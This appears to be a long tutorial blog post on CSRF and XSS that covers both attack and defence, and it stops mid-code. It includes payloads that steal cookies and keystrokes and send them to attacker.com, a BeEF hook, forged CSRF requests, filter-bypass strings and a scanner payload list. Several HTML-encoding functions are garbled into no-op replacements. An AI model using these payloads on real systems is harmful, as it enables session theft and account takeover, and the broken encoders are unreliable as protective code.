Greetings, fellow hackers and defenders! As red teamers, penetration testers, and security professionals, we live in a world where web applications serve as the primary battleground for modern cyber conflicts. In this comprehensive guide, we’ll dive deep into two of the most prevalent and dangerous web application vulnerabilities: Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS).
These vulnerabilities represent fundamental flaws in how web applications handle user input and session management. CSRF exploits the implicit trust between websites and authenticated users, while XSS abuses the dynamic nature of modern web applications. Understanding these attacks isn’t just about defense—it’s about mastering the art of web application security from both offensive and defensive perspectives.
Throughout this article, we’ll explore:
- The technical mechanics of CSRF and XSS attacks
- Real-world exploitation techniques used by attackers
- Comprehensive prevention strategies with code examples
- Advanced testing methodologies for security assessments
- Integration with modern security frameworks and standards
Whether you’re a red teamer looking to exploit these vulnerabilities, a blue teamer defending against them, or a developer building secure applications, this guide will equip you with the knowledge and tools necessary to navigate the complex landscape of web application security.
Let’s begin by understanding the fundamental concepts that make these attacks possible, then move into practical exploitation and defense techniques.
What is Cross-Site Request Forgery (CSRF)?#
Cross-Site Request Forgery (CSRF) is a sophisticated web application vulnerability that exploits the implicit trust established between a user’s browser and legitimate websites. Unlike other attacks that require direct interaction with vulnerable code, CSRF attacks leverage the automatic inclusion of authentication credentials (typically cookies) in HTTP requests.
Technical Foundations of CSRF#
At its core, CSRF exploits the Same-Origin Policy’s exception for cookies. When a user authenticates to a website, the server sets a session cookie. Subsequent requests to that domain automatically include this cookie, regardless of the request’s origin. This behavior, while convenient for legitimate users, creates a security vulnerability.
The attack works because:
- Stateless HTTP: Each HTTP request is independent, but cookies provide persistent state
- Automatic Credential Inclusion: Browsers automatically send relevant cookies with requests
- Lack of Origin Validation: Servers often don’t validate request origin for state-changing operations
CSRF Attack Mechanics#
Let’s examine a detailed CSRF attack scenario:
Basic CSRF Flow:
Victim Authentication: User logs into
bank.comand receives session cookiesession_id=abc123Attacker Preparation: Attacker creates a malicious page or email containing:
<img src="https://bank.com/transfer?to=attacker&amount=1000" style="display:none;"/>Victim Trigger: User visits attacker’s site while still logged into
bank.comAutomatic Request: Browser sends request to
bank.com/transferwith victim’s session cookieSuccessful Attack: Bank processes transfer using victim’s authenticated session
Advanced CSRF Techniques:
Login CSRF: Attacker tricks victim into logging into attacker’s account on legitimate service
<form action="https://legit-site.com/login" method="POST">
<input name="username" value="attacker"/>
<input name="password" value="attackerpass"/>
</form>
<script>
document.forms[0].submit();
</script>
JSON CSRF: Exploiting JSON-based APIs that accept simple requests
<script>
fetch('https://api.vulnerable.com/user/update', {
method: 'POST',
body: JSON.stringify({email: 'attacker@evil.com'}),
credentials: 'include'
});
</script>
GET-based CSRF: Some applications accept state changes via GET requests
<img src="https://vulnerable.com/admin/deleteUser?id=123"/>
CSRF Prevention Fundamentals#
Double-Submit Cookie Pattern#
This defense involves sending the CSRF token in both a cookie and request parameter:
// Client-side: Set token in both cookie and form
document.cookie = "csrf_token=" + token;
// Server-side verification
$cookie_token = $_COOKIE['csrf_token'];
$form_token = $_POST['csrf_token'];
if (!hash_equals($cookie_token, $form_token)) {
die('CSRF token mismatch');
}
Origin Header Validation#
Modern browsers send Origin headers that can be validated:
$allowed_origins = ['https://trusted-domain.com'];
if (!in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) {
http_response_code(403);
die('Invalid origin');
}
Custom Headers for AJAX#
AJAX requests can include custom headers that simple <img> tags cannot set:
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': token
},
credentials: 'same-origin'
});
Advanced CSRF Token Implementation#
Cryptographically Secure Tokens#
<?php
class CSRFProtection {
private static $token_name = 'csrf_token';
public static function generateToken() {
if (!isset($_SESSION[self::$token_name])) {
$_SESSION[self::$token_name] = bin2hex(random_bytes(32));
}
return $_SESSION[self::$token_name];
}
public static function validateToken($token) {
if (!isset($_SESSION[self::$token_name])) {
return false;
}
$valid = hash_equals($_SESSION[self::$token_name], $token);
// Rotate token after use for additional security
unset($_SESSION[self::$token_name]);
return $valid;
}
public static function insertHiddenField() {
$token = self::generateToken();
return '<input type="hidden" name="' . self::$token_name . '" value="' . htmlspecialchars($token) . '">';
}
}
// Usage in forms
$form = '<form action="/transfer" method="POST">';
$form .= CSRFProtection::insertHiddenField();
$form .= '<input type="text" name="to_account">';
$form .= '<input type="number" name="amount">';
$form .= '<input type="submit" value="Transfer">';
$form .= '</form>';
?>
Java Implementation#
import java.security.SecureRandom;
import java.util.Base64;
import javax.servlet.http.HttpSession;
public class CSRFTokenManager {
private static final String CSRF_TOKEN_NAME = "csrf_token";
private static final int TOKEN_LENGTH = 32;
public static String generateToken(HttpSession session) {
String token = (String) session.getAttribute(CSRF_TOKEN_NAME);
if (token == null) {
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[TOKEN_LENGTH];
random.nextBytes(bytes);
token = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
session.setAttribute(CSRF_TOKEN_NAME, token);
}
return token;
}
public static boolean validateToken(HttpSession session, String token) {
String sessionToken = (String) session.getAttribute(CSRF_TOKEN_NAME);
if (sessionToken == null || token == null) {
return false;
}
boolean valid = sessionToken.equals(token);
// Clear token after use
if (valid) {
session.removeAttribute(CSRF_TOKEN_NAME);
}
return valid;
}
}
Python Flask Implementation#
from flask import Flask, session, request, render_template_string
import secrets
import hashlib
app = Flask(__name__)
app.secret_key = 'your-secret-key-here'
def generate_csrf_token():
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']
def validate_csrf_token(token):
session_token = session.get('csrf_token')
if not session_token or not token:
return False
# Use constant-time comparison
if hashlib.sha256(session_token.encode()).hexdigest() == hashlib.sha256(token.encode()).hexdigest():
# Clear token after use
del session['csrf_token']
return True
return False
@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
if request.method == 'POST':
token = request.form.get('csrf_token')
if not validate_csrf_token(token):
return "CSRF token validation failed", 403
# Process transfer logic here
return "Transfer completed successfully"
csrf_token = generate_csrf_token()
return render_template_string('''
<form method="POST">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="text" name="to_account" placeholder="Recipient Account">
<input type="number" name="amount" placeholder="Amount">
<input type="submit" value="Transfer Money">
</form>
''', csrf_token=csrf_token)
if __name__ == '__main__':
app.run()
SameSite Cookie Attributes#
The SameSite attribute provides additional CSRF protection:
// PHP: Set SameSite attribute
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict' // Lax or Strict
]);
// JavaScript: Set SameSite via document.cookie
document.cookie = "session_id=abc123; SameSite=Strict; Secure; HttpOnly";
SameSite Options:
- Strict: Cookies only sent in first-party context
- Lax: Cookies sent with top-level navigation (GET requests)
- None: Cookies sent in all contexts (requires Secure flag)
Content Security Policy (CSP) and CSRF#
While CSP primarily protects against XSS, it can also mitigate CSRF:
<!-- Restrict form actions to same origin -->
<meta content="form-action 'self'; frame-ancestors 'none';" http-equiv="Content-Security-Policy"/>
CSRF Testing Methodology#
Manual Testing Steps#
- Identify State-Changing Operations: Map all endpoints that modify data
- Check Token Implementation: Verify CSRF tokens are present and validated
- Test Cookie Dependencies: Confirm application relies on cookies for authentication
- Attempt Forged Requests: Create malicious pages that attempt CSRF attacks
- Validate SameSite Settings: Check cookie attributes
- Test Alternative Headers: Verify custom headers prevent simple attacks
Automated CSRF Testing#
import requests
from bs4 import BeautifulSoup
class CSRFScanner:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def login(self, username, password):
"""Establish authenticated session"""
login_data = {'username': username, 'password': password}
response = self.session.post(f"{self.base_url}/login", data=login_data)
return response.status_code == 200
def extract_csrf_token(self, url):
"""Extract CSRF token from HTML form"""
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
token_input = soup.find('input', {'name': 'csrf_token'})
return token_input['value'] if token_input else None
def test_csrf_protection(self, target_url, form_data):
"""Test if endpoint is protected against CSRF"""
# Test without token
response_no_token = self.session.post(target_url, data=form_data)
print(f"Without token: {response_no_token.status_code}")
# Test with valid token
token = self.extract_csrf_token(target_url)
if token:
form_data['csrf_token'] = token
response_with_token = self.session.post(target_url, data=form_data)
print(f"With token: {response_with_token.status_code}")
return response_no_token.status_code != response_with_token.status_code
# Usage
scanner = CSRFScanner("https://vulnerable-app.com")
scanner.login("testuser", "testpass")
scanner.test_csrf_protection("/transfer", {"to": "attacker", "amount": "100"})
What is Cross-Site Scripting (XSS)?#
Cross-Site Scripting (XSS) is one of the most prevalent and dangerous web application vulnerabilities. Unlike other injection attacks that target server-side components, XSS attacks execute malicious scripts within the victim’s browser, leveraging the trust relationship between users and legitimate websites.
XSS Attack Vectors and Types#
Reflected XSS (Type 1)#
The most common form of XSS, where malicious script is reflected off a web server:
// Vulnerable PHP code
$name = $_GET['name'];
echo "<h1>Hello, $name!</h1>";
Attack URL:
https://vulnerable.com/greet.php?name=<script>alert('XSS')</script>
Stored XSS (Type 2)#
Malicious script is permanently stored on the target server:
// Vulnerable comment system
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (user_id, comment) VALUES ($user_id, '$comment')";
// Later displayed without encoding
echo "<div class='comment'>$comment</div>";
DOM-based XSS (Type 0)#
Vulnerability exists in client-side code rather than server-side:
// Vulnerable JavaScript
var username = location.hash.substring(1); // Gets URL fragment
document.getElementById('welcome').innerHTML = "Hello, " + username;
Attack URL:
https://vulnerable.com/page#<script>alert('DOM XSS')</script>
Blind XSS#
Occurs when the payload is stored but not immediately visible to the attacker. Common in contact forms, log viewers, or admin panels where only privileged users can see the output.
Advanced XSS Payloads#
Cookie Theft#
// Steal session cookies
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
Keylogging#
// Capture keystrokes
document.onkeypress = function(e) {
var img = new Image();
img.src = 'https://attacker.com/log?key=' + e.key;
};
Session Hijacking#
// Redirect to attacker's domain with session data
window.location = 'https://attacker.com/hijack?session=' +
encodeURIComponent(document.cookie);
BeEF Integration#
// Hook into BeEF (Browser Exploitation Framework)
var script = document.createElement('script');
script.src = 'https://attacker.com/hook.js';
document.head.appendChild(script);
XSS Prevention Strategies#
Input Validation and Sanitization#
<?php
function sanitizeInput($input) {
// Remove potentially dangerous tags
$input = strip_tags($input, '<p><br><strong><em>');
// Convert special characters to HTML entities
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Additional custom sanitization
$input = preg_replace('/javascript:/i', '', $input);
$input = preg_replace('/on\w+\s*=/i', '', $input);
return $input;
}
// Usage
$userInput = $_POST['comment'];
$sanitizedInput = sanitizeInput($userInput);
echo "<div class='comment'>$sanitizedInput</div>";
?>
Context-Aware Output Encoding#
Different encoding strategies for different contexts:
public class XSSPrevention {
// HTML Context Encoding
public static String encodeForHtml(String input) {
return input.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'")
.replace("/", "/");
}
// JavaScript Context Encoding
public static String encodeForJavaScript(String input) {
return input.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("'", "\\'")
.replace("\r", "\\r")
.replace("\n", "\\n")
.replace("<", "\\u003c")
.replace(">", "\\u003e");
}
// URL Context Encoding
public static String encodeForUrl(String input) {
try {
return java.net.URLEncoder.encode(input, "UTF-8");
} catch (Exception e) {
return input;
}
}
// CSS Context Encoding
public static String encodeForCss(String input) {
return input.replace("<", "\\3c ")
.replace(">", "\\3e ")
.replace("\"", "\\22 ")
.replace("'", "\\27 ");
}
}
Content Security Policy Implementation#
<!-- Strict CSP for XSS prevention -->
<meta content="
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.googleapis.com;
connect-src 'self';
media-src 'self';
object-src 'none';
child-src 'self';
worker-src 'self';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" http-equiv="Content-Security-Policy"/>
HTTP-Only Cookies#
Prevent JavaScript access to session cookies:
// Set HTTP-only session cookie
session_set_cookie_params([
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
session_start();
Subresource Integrity#
Ensure external scripts haven’t been tampered with:
<script crossorigin="anonymous" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" src="https://code.jquery.com/jquery-3.6.0.min.js">
</script>
Advanced XSS Testing Techniques#
Automated XSS Detection#
import requests
from bs4 import BeautifulSoup
import re
class XSSScanner:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src=javascript:alert('XSS')>",
"<body onload=alert('XSS')>",
]
def scan_endpoint(self, url, params):
"""Scan an endpoint for XSS vulnerabilities"""
vulnerabilities = []
for param in params:
for payload in self.payloads:
test_params = params.copy()
test_params[param] = payload
try:
response = self.session.get(url, params=test_params)
soup = BeautifulSoup(response.text, 'html.parser')
# Check if payload is reflected unencoded
if payload in response.text:
# Check if it's in a dangerous context
if self.is_dangerous_context(response.text, payload):
vulnerabilities.append({
'parameter': param,
'payload': payload,
'url': url,
'type': 'reflected'
})
except Exception as e:
print(f"Error testing {param} with {payload}: {e}")
return vulnerabilities
def is_dangerous_context(self, html, payload):
"""Check if XSS payload is in a dangerous HTML context"""
# Look for payload in script tags, event handlers, etc.
dangerous_patterns = [
r'<script[^>]*>.*?' + re.escape(payload),
r'on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
r'<[^>]*\s+[^>]*on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
]
for pattern in dangerous_patterns:
if re.search(pattern, html, re.IGNORECASE | re.DOTALL):
return True
return False
def scan_form(self, url):
"""Scan forms for XSS vulnerabilities"""
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
for form in forms:
action = form.get('action', url)
method = form.get('method', 'GET').upper()
inputs = form.find_all(['input', 'textarea', 'select'])
form_data = {}
for input_field in inputs:
name = input_field.get('name')
if name:
input_type = input_field.get('type', 'text')
if input_type not in ['submit', 'button', 'image']:
form_data[name] = 'test_value'
# Test each input field
for field_name in form_data.keys():
for payload in self.payloads:
test_data = form_data.copy()
test_data[field_name] = payload
try:
if method == 'POST':
response = self.session.post(action, data=test_data)
else:
response = self.session.get(action, params=test_data)
if payload in response.text and self.is_dangerous_context(response.text, payload):
print(f"Potential XSS in form field: {field_name}")
print(f"Payload: {payload}")
print(f"URL: {action}")
except Exception as e:
print(f"Error testing form field {field_name}: {e}")
# Usage
scanner = XSSScanner("https://vulnerable-app.com")
scanner.scan_endpoint("/search", {"query": ""})
scanner.scan_form("/contact")
DOM XSS Detection#
// Client-side DOM XSS detection
function detectDOMXSS() {
// Monitor for suspicious script insertions
const observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
mutation.addedNodes.forEach(function(node) {
if (node.tagName === 'SCRIPT') {
console.warn('Suspicious script tag added to DOM');
console.log('Script source:', node.src);
console.log('Script content:', node.textContent);
}
// Check for dangerous attributes
if (node.nodeType === Node.ELEMENT_NODE) {
const dangerousAttrs = ['onload', 'onerror', 'onclick', 'onmouseover'];
dangerousAttrs.forEach(attr => {
if (node.hasAttribute(attr)) {
console.warn(`Dangerous attribute ${attr} found on element:`, node);
}
});
}
});
});
});
observer.observe(document.body, {
childList: true,
subtree: true,
attributes: true,
attributeFilter: ['src', 'href', 'onload', 'onerror', 'onclick']
});
}
// Initialize detection
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', detectDOMXSS);
} else {
detectDOMXSS();
}
XSS Evasion Techniques and Countermeasures#
Filter Bypass Techniques#
Attackers use various techniques to bypass input filters:
// Case variation bypass
<
ScRipT > alert('XSS') < /ScRipT>
// Comment injection
<
scr < !-- -- > ipt > alert('XSS') < /scr<!-- -->ipt>
// Encoding bypass
&
#60;script&# 62;
alert('XSS') & #60;/script&# 62;
// Protocol-relative URLs
<
script src = "//evil.com/xss.js" > < /script>
Advanced Filter Implementation#
<?php
class XSSFilter {
private static $dangerous_tags = [
'script', 'iframe', 'object', 'embed', 'form', 'input', 'meta', 'link', 'style'
];
private static $dangerous_attrs = [
'onload', 'onerror', 'onclick', 'onmouseover', 'onmouseout',
'onmousedown', 'onmouseup', 'onkeypress', 'onkeydown', 'onkeyup',
'onsubmit', 'onreset', 'onfocus', 'onblur', 'onchange',
'src', 'href', 'action', 'formaction'
];
public static function sanitize($input) {
// Convert to lowercase for consistent processing
$input = strtolower($input);
// Remove dangerous tags
foreach (self::$dangerous_tags as $tag) {
$input = preg_replace('/<' . $tag . '[^>]*>.*?<\/' . $tag . '>/is', '', $input);
$input = preg_replace('/<' . $tag . '[^>]*\/?>/i', '', $input);
}
// Remove dangerous attributes
foreach (self::$dangerous_attrs as $attr) {
$input = preg_replace('/\s+' . $attr . '\s*=\s*["\'][^"\']*["\']/i', '', $input);
$input = preg_replace('/\s+' . $attr . '\s*=\s*[^>\s]*/i', '', $input);
}
// Remove javascript: and data: URLs
$input = preg_replace('/(?:javascript|data):[^>]*/i', '#', $input);
// Remove event handlers
$input = preg_replace('/\s+on\w+\s*=\s*["\'][^"\']*["\']/i', '', $input);
return $input;
}
public static function encodeOutput($input, $context = 'html') {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
case 'javascript':
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
case 'css':
return preg_replace('/[<>"\']/', '', $input);
case 'url':
return urlencode($input);
default:
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
}
}
// Usage
$userInput = $_POST['comment'];
$sanitized = XSSFilter::sanitize($userInput);
$encoded = XSSFilter::encodeOutput($sanitized, 'html');
echo "<div class='comment'>$encoded</div>";
?>
Real-World XSS Case Studies#
Twitter XSS Worm (2009)#
A XSS vulnerability in Twitter’s search API allowed an attacker to create a self-propagating worm:
// The malicious payload that spread via DMs
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%61%28%29%7b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%79%6f%75%72%6d%6f%6d%2e%63%6f%6d%22%7d%73%65%74%54%69%6d%65%6f%75%74%28%61%2c%31%30%30%30%30%29%3b'));
Impact: Affected thousands of users, spread through direct messages, overwhelmed Twitter’s infrastructure.
MySpace Samy Worm (2005)#
The first major XSS worm exploited a stored XSS vulnerability:
// Samy's original payload (simplified)
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/index.cfm?fuseaction=user.setInfo", true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("field_1=" + encodeURIComponent("Samy is my hero") + "&field_2=" + encodeURIComponent(document.body.innerHTML));
Impact: Infected over 1 million MySpace profiles in hours, demonstrated the power of self-replicating XSS attacks.
Yahoo Mail XSS (2015)#
A DOM-based XSS vulnerability in Yahoo Mail affected millions of users:
Vulnerable Code:
var hash = location.hash.substring(1);
document.getElementById('compose').innerHTML = decodeURIComponent(hash);
Attack Vector:
https://mail.yahoo.com/compose#<img src=x onerror=alert(document.cookie)>
Impact: Allowed attackers to steal session cookies and hijack email accounts.
Defense Against the Dark Arts (or How to Prevent CSRF and XSS)#
Defenses against Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS) attacks are essential in securing web applications. In this section, we will explore various defense techniques for preventing CSRF and XSS attacks.
Defense Against CSRF Attacks#
Implementing CSRF Tokens#
The use of CSRF tokens is an effective defense against CSRF attacks. A CSRF token is a unique value that is generated by the server and included in the HTML form or URL. The server verifies the CSRF token before processing the request, which prevents the attacker from using a stolen session cookie to submit a forged request.
Here’s an example of how to implement CSRF protection in ASP.NET Core:
[ValidateAntiForgeryToken]
public IActionResult SubmitForm([FromForm] User user)
{
// Code to process form data
return View();
}
In this example, the ValidateAntiForgeryToken attribute ensures that the request includes a valid CSRF token before
processing the form data.
Here’s an example of how to implement CSRF protection in Ruby on Rails:
<%= form_with(url: '/submit_form', method: 'post') do |form| %>
<%= form.hidden_field :authenticity_token, value: form_authenticity_token %>
<%= form.text_field :username %>
<%= form.text_field :password %>
<%= form.submit %>
<% end %>
In this example, the form_with helper generates an HTML form with a hidden field for the CSRF token.
The form_authenticity_token method generates a unique CSRF token that is included in the form.
Enforcing SameSite Cookies#
The SameSite attribute is used to prevent CSRF attacks by limiting the scope of cookies. By setting the SameSite
attribute to Strict, the browser will only send cookies on requests that originate from the same site as the web
application, which prevents third-party websites from using stolen cookies to perform CSRF attacks.
Here’s an example of how to enforce SameSite cookies in PHP:
session_set_cookie_params([
'samesite' => 'strict',
'secure' => true,
'httponly' => true,
]);
session_start();
In this example, we set the samesite attribute to strict to enforce SameSite cookies. We also set the secure and httponly attributes to ensure that the session cookie is only sent over HTTPS and cannot be accessed by JavaScript, respectively.
Using ReCAPTCHA#
ReCAPTCHA is a free service provided by Google that helps protect web applications from automated attacks, including CSRF attacks. ReCAPTCHA generates a challenge-response test that verifies that the user is a human and not a bot. By adding ReCAPTCHA to your web application, you can prevent automated CSRF attacks.
Here’s an example of how to use ReCAPTCHA in JavaScript:
grecaptcha.execute(sitekey, {
action: "submit_form"
}).then(function(token) {
// Submit the form with the token
});
In this example, we use the grecaptcha.execute function to generate a challenge-response test. When the user completes the test, the function returns a token that can be included in the form submission to verify that the user is a human.
Defense Against XSS Attacks#
Advanced Input Validation and Sanitization#
Input validation must be multi-layered and context-aware to effectively prevent XSS attacks. Modern defense requires understanding that different contexts require different sanitization approaches.
import bleach
from urllib.parse import unquote
import re
import json
class XSSDefense:
@staticmethod
def validate_and_sanitize(input_string, context='html'):
"""
Multi-layered XSS defense with context-aware sanitization
"""
if not input_string:
return ""
# Length limits to prevent DoS
if len(input_string) > 10000:
raise ValueError("Input too long")
# URL decoding to catch double-encoded attacks
decoded = unquote(unquote(input_string))
# Remove null bytes and other control characters
decoded = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', decoded)
# Context-specific sanitization
if context == 'html':
# Use bleach for HTML sanitization
allowed_tags = ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li']
allowed_attrs = {'a': ['href', 'title', 'target']}
return bleach.clean(decoded, tags=allowed_tags, attributes=allowed_attrs)
elif context == 'javascript':
# For JSON responses, use proper encoding
return json.dumps(decoded)[1:-1] # Remove quotes from JSON string
elif context == 'url':
# URL encoding for safe parameter passing
from urllib.parse import quote
return quote(decoded)
elif context == 'css':
# CSS sanitization
return re.sub(r'[<>"\']', '', decoded)
else:
# Default: HTML entity encoding
return bleach.clean(decoded, tags=[], strip=True)
@staticmethod
def validate_email(email):
"""RFC-compliant email validation"""
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(pattern, email):
raise ValueError("Invalid email format")
return email
@staticmethod
def validate_url(url):
"""URL validation with scheme checking"""
from urllib.parse import urlparse
parsed = urlparse(url)
allowed_schemes = ['http', 'https']
if parsed.scheme not in allowed_schemes:
raise ValueError("Invalid URL scheme")
if not parsed.netloc:
raise ValueError("Invalid URL format")
return url
# Usage examples
try:
safe_html = XSSDefense.validate_and_sanitize(user_input, 'html')
safe_email = XSSDefense.validate_email(email_input)
safe_url = XSSDefense.validate_url(url_input)
except ValueError as e:
print(f"Validation error: {e}")
Context-Aware Output Encoding#
Different output contexts require different encoding strategies to prevent XSS effectively.
public class XSSPrevention {
// HTML Context Encoding
public static String encodeForHtml(String input) {
if (input == null) return "";
return input.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'")
.replace("/", "/");
}
// JavaScript Context Encoding
public static String encodeForJavaScript(String input) {
if (input == null) return "";
return input.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("'", "\\'")
.replace("\r", "\\r")
.replace("\n", "\\n")
.replace("<", "\\u003c")
.replace(">", "\\u003e");
}
// CSS Context Encoding
public static String encodeForCss(String input) {
if (input == null) return "";
return input.replace("<", "\\3c ")
.replace(">", "\\3e ")
.replace("\"", "\\22 ")
.replace("'", "\\27 ");
}
// URL Context Encoding
public static String encodeForUrl(String input) {
if (input == null) return "";
try {
return java.net.URLEncoder.encode(input, "UTF-8");
} catch (Exception e) {
return input;
}
}
}
Comprehensive Content Security Policy (CSP)#
Modern CSP implementation with comprehensive protection and reporting:
<!-- Comprehensive CSP policy -->
<meta content="
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.trusted.com wss://websocket.trusted.com;
media-src 'self' https://media.trusted.com;
object-src 'none';
child-src 'self' https://trusted-widgets.com;
worker-src 'self';
frame-ancestors 'self' https://trusted-parent.com;
form-action 'self' https://payment-processor.com;
upgrade-insecure-requests;
block-all-mixed-content;
report-uri https://csp-reporter.your-domain.com;
" http-equiv="Content-Security-Policy"/>
// CSP violation reporting handler
document.addEventListener('securitypolicyviolation', function(e) {
var report = {
'document-uri': e.documentURI,
'violated-directive': e.violatedDirective,
'original-policy': e.originalPolicy,
'blocked-uri': e.blockedURI,
'source-file': e.sourceFile,
'line-number': e.lineNumber,
'column-number': e.columnNumber,
'timestamp': new Date().toISOString()
};
// Send report to security monitoring endpoint
fetch('/api/security/csp-violation', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(report)
}).catch(function(err) {
console.error('Failed to report CSP violation:', err);
});
});
Subresource Integrity (SRI)#
Prevent tampering with external resources that could introduce XSS:
<!-- Bootstrap CSS with SRI -->
<link crossorigin="anonymous" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" rel="stylesheet"/>
<!-- jQuery with SRI -->
<script crossorigin="anonymous" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" src="https://code.jquery.com/jquery-3.6.0.min.js">
</script>
HTTP-Only Cookies and Secure Headers#
// Comprehensive secure session configuration
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'your-domain.com',
'secure' => true, // HTTPS only
'httponly' => true, // JavaScript cannot access
'samesite' => 'Strict' // Strict same-site policy
]);
session_start();
// Additional security headers
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
Trusted Types API#
Modern browser API for preventing DOM XSS in dynamic content:
// Enable Trusted Types if supported
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const policy = window.trustedTypes.createPolicy('default-policy', {
createHTML: (input) => {
// Sanitize HTML input using DOMPurify or similar
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTRS: {
'a': ['href', 'target']
}
});
},
createScriptURL: (input) => {
// Only allow specific trusted script URLs
const allowedHosts = ['https://trusted-cdn.com', 'https://your-domain.com'];
try {
const url = new URL(input);
if (allowedHosts.some(host => url.href.startsWith(host))) {
return input;
}
} catch (e) {
// Invalid URL
}
throw new Error('Untrusted script URL: ' + input);
},
createScript: (input) => {
// Validate script content (very restrictive)
const dangerous = ['eval(', 'Function(', 'setTimeout(', 'setInterval('];
if (dangerous.some(d => input.includes(d))) {
throw new Error('Dangerous script content detected');
}
return input;
}
});
// Apply policy globally
window.trustedTypes.defaultPolicy = policy;
}
// Usage with trusted types
function updateContent(userInput) {
const element = document.getElementById('user-content');
// Automatically uses the trusted types policy
element.innerHTML = userInput;
}
Template Engine Security#
Using secure template engines prevents XSS by design:
# Flask/Jinja2 with auto-escaping (enabled by default)
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/greet/<name>')
def greet(name):
# Jinja2 auto-escapes HTML by default
template = "<h1>Hello, {{ name }}!</h1>"
return render_template_string(template, name=name)
# For untrusted input, explicitly escape
from markupsafe import escape
@app.route('/comment/<comment>')
def show_comment(comment):
return f"<div>{escape(comment)}</div>"
// React JSX automatically escapes content
function Comment({
text
}) {
return < div > {
text
} < /div>; / / Automatically escaped
}
// For dangerous content, use dangerouslySetInnerHTML sparingly
function DangerousComment({
html
}) {
// Only use after proper sanitization
const sanitizedHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTRS: {}
});
return < div dangerouslySetInnerHTML = {
{
__html: sanitizedHtml
}
}
/>;
}
XSS Detection and Monitoring#
class XSSMonitor {
constructor() {
this.violations = [];
this.init();
}
init() {
this.observeDOMChanges();
this.monitorScriptExecutions();
this.monitorNetworkRequests();
this.checkForReflectedXSS();
}
observeDOMChanges() {
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === Node.ELEMENT_NODE) {
this.checkForXSSIndicators(node);
}
});
});
});
observer.observe(document.body, {
childList: true,
subtree: true
});
}
checkForXSSIndicators(element) {
// Check for script tags
if (element.tagName === 'SCRIPT') {
this.reportViolation('Script tag injection detected', {
tagName: element.tagName,
src: element.src,
content: element.textContent?.substring(0, 100)
});
}
// Check for dangerous attributes
